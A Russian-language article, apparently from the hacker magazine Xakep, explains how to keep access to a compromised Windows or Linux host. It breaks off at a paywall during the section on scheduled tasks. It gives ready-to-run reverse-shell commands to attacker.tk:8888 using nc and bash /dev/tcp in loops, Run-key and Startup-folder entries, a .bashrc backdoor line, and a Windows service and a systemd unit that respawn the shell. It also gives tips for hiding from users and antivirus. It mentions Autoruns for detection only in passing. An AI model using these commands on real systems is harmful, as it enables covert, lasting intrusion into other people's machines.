Ког­да получен шелл на хос­те, пер­вое, что необ­ходимо сде­лать, — это обес­печить себе «пос­тоянс­тво» (persistence) в сис­теме. Ведь во мно­гих слу­чаях на RCE может быть лишь одна попыт­ка, а зна­чит, недопус­тимо потерять дос­туп из‑за каких‑нибудь досад­ных обсто­ятель­ств.

Есть раз­ные спо­собы орга­низо­вать воз­можность пос­тоян­ного при­сутс­твия, у каж­дого свои дос­тоинс­тва и недос­татки:

  • за­писать что‑либо на HDD:

    • плюс: пережи­вет перезаг­рузку;
    • ми­нусы: замет­но для челове­ка, замет­но для анти­виру­са;
  • внед­рить код в RAM:

    • плюс: незамет­но для челове­ка;
    • ми­нусы: не пережи­вет перезаг­рузку, может быть замет­но для анти­виру­са;
  • из­менить кон­фигура­цию ОС:

    • плю­сы: незамет­но для анти­виру­са, пережи­вет перезаг­рузку;
    • ми­нус: может быть замет­но для челове­ка.

Ча­ще все­го при зак­репле­нии в сис­теме все же при­ходит­ся обра­щать­ся к дис­ку, пос­коль­ку это единс­твен­ный спо­соб не вылететь из‑за слу­чай­ной перезаг­рузки. В общем слу­чае успешность такой пер­систен­тнос­ти зависит от двух фак­торов:

  • нас­коль­ко скрыт­но от поль­зовате­ля про­писан запуск бэк­дора;
  • нас­коль­ко безобид­но для анти­виру­са тело бэк­дора.

Оче­вид­но, что с точ­ки зре­ния зак­репле­ния Linux — более при­ори­тет­ная сис­тема. Компь­юте­ры с ним, как пра­вило, ред­ко обслу­жива­ются поль­зовате­лями и не перезаг­ружа­ются месяца­ми. Да и как точ­ка опо­ры они под­ходят боль­ше. Хос­ты под управле­нием Linux удоб­ны еще и потому, что они ред­ко защище­ны анти­виру­сом, а анти­вирус для пер­систен­тнос­ти — это ощу­тимая проб­лема.

В свою оче­редь, в Windows боль­ше вари­антов авто­заг­рузки, что может помочь луч­ше замас­кировать­ся в ее нед­рах. Ведь, в отли­чие от про­ник­новения в Linux, нам поч­ти всег­да при­дет­ся работать рядом с поль­зовате­лем, опыт­ным или не очень.

Ког­да име­ешь дело не с одной целью, а с целой груп­пой, весь­ма удоб­но исполь­зовать для машины ата­кующе­го домен­ное имя, а не IP. Тог­да для каж­дой жер­твы или груп­пы жертв мож­но будет задать свое уни­каль­ное имя в DNS-зоне ата­кующе­го (далее в при­мерах — attacker.tk). Это поз­воля­ет эффектив­нее управлять жер­тва­ми. Выг­лядит это при­мер­но так.

Ес­ли анти­виру­сы не глав­ная проб­лема, то в качес­тве reverse shell час­то мож­но исполь­зовать прос­тые nc.exe, ncat.exe и socat.exe. Все они обла­дают воз­можнос­тями RAT и зачас­тую нор­маль­но про­ходят анти­вирус. Пос­коль­ку это прог­раммы, работа­ющие из коман­дной стро­ки, мож­но сде­лать их запуск на машине жер­твы незамет­ным. В Windows для это­го дос­таточ­но поменять subsystem у исполня­емо­го фай­ла:

pe header optional header nt fields subsystem GUI (0x0002)

Опи­сан­ные далее при­меры помогут не толь­ко при зак­репле­нии на машине жер­твы, но и для выяв­ления фак­тов ком­про­мета­ции.

Ана­лиз эле­мен­тов авто­заг­рузки — это час­то поиск игол­ки в сто­ге сена. Обыч­но при­ходит­ся судить по наз­ванию исполня­емо­го фай­ла, тому, где он находит­ся (в пра­виль­ных мес­тах или где‑то в про­филе поль­зовате­ля), а так­же по наз­ванию и опи­санию ком­пании‑раз­работ­чика, зашитым внут­ри фай­ла. Впро­чем, нич­то не меша­ет ата­кующе­му под­делать эти дан­ные.

Ан­тивиру­сы же, как пра­вило, не уда­ляют записи в спис­ках авто­заг­рузки, а уда­ляют сами исполня­емые фай­лы. Поэто­му битая ссыл­ка в авто­заг­рузке — тре­вож­ный сиг­нал.

Во мно­гих слу­чаях для пер­систен­тнос­ти могут пот­ребовать­ся пра­ва адми­нис­тра­тора. Это тоже может стать проб­лемой, ведь далеко не каж­дый шелл обла­дает нуж­ными при­виле­гиями. Поэто­му в каж­дом при­мере я буду помечать сим­волом $ ввод неп­ривиле­гиро­ван­ного поль­зовате­ля, а # — адми­нис­тра­тора. Для обна­руже­ния будем исполь­зовать ути­литу Autoruns, резуль­таты ты можешь наб­людать на скрин­шотах.

 

Шелл

Ор­ганизо­вать пер­систен­тность мож­но пря­мо из коман­дной стро­ки. Что­бы шелл откры­вал­ся всег­да, исполь­зуем коман­ду с бес­конеч­ным цик­лом, ухо­дящую в фон.

Windows

Вот как это работа­ет в Windows:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"

Linux

bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )&
bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
  • Плю­сы: управля­емый интервал запус­ка, подой­дет любой поль­зователь.
  • Ми­нус: не пережи­вет перезаг­рузку.
 

Автозагрузка

Го­воря о пер­систен­тнос­ти, нель­зя прой­ти мимо клас­сичес­кой и всем извес­тной авто­заг­рузки. Ее пре­иму­щес­тво в том, что она будет работать с пра­вами любого, даже неад­минис­тра­тив­ного поль­зовате­ля.

Windows

cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\meter.exe"
cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"

Linux

bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.
 

Сервисы

Ис­поль­зовать служ­бу для зак­репле­ния более выгод­но, чем авто­заг­рузку, так как Service Manager будет сам переза­пус­кать служ­бу, если пот­ребу­ется.

Для Windows соз­дание служ­бы пот­ребу­ет пра­ва адми­нис­тра­тора.

cmd#> sc create persistence binPath= "nc.exe -e \windows\system32\cmd.exe attacker.tk 8888" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence

В Linux соз­дать служ­бу мож­но и с учет­ки прос­того поль­зовате­ля. Вот вари­анты для рута и для прос­того поль­зовате­ля.

bash#> vim /etc/systemd/system/persistence.service
bash$> vim ~/.config/systemd/user/persistence.service

Со­дер­жимое фай­ла:

[Unit]
Description=persistence
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=default.target

И запус­каем соз­данную служ­бу:

bash#> systemctl enable persistence.service
bash#> systemctl start persistence.service
bash$> systemctl --user enable persistence.service
bash$> systemctl --user start persistence.service
  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка, под­ходит любой поль­зователь.
  • Ми­нус: необ­ходимы пра­ва адми­нис­тра­тора.
 

Задачи

Соз­дание зап­ланиро­ван­ной задачи — весь­ма удоб­ный спо­соб под­держа­ния дос­тупа. Заод­но мож­но задать вре­мя и интервал запус­ка. Но делать это раз­решено, как пра­вило, толь­ко при­виле­гиро­ван­ным поль­зовате­лям.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Оставить мнение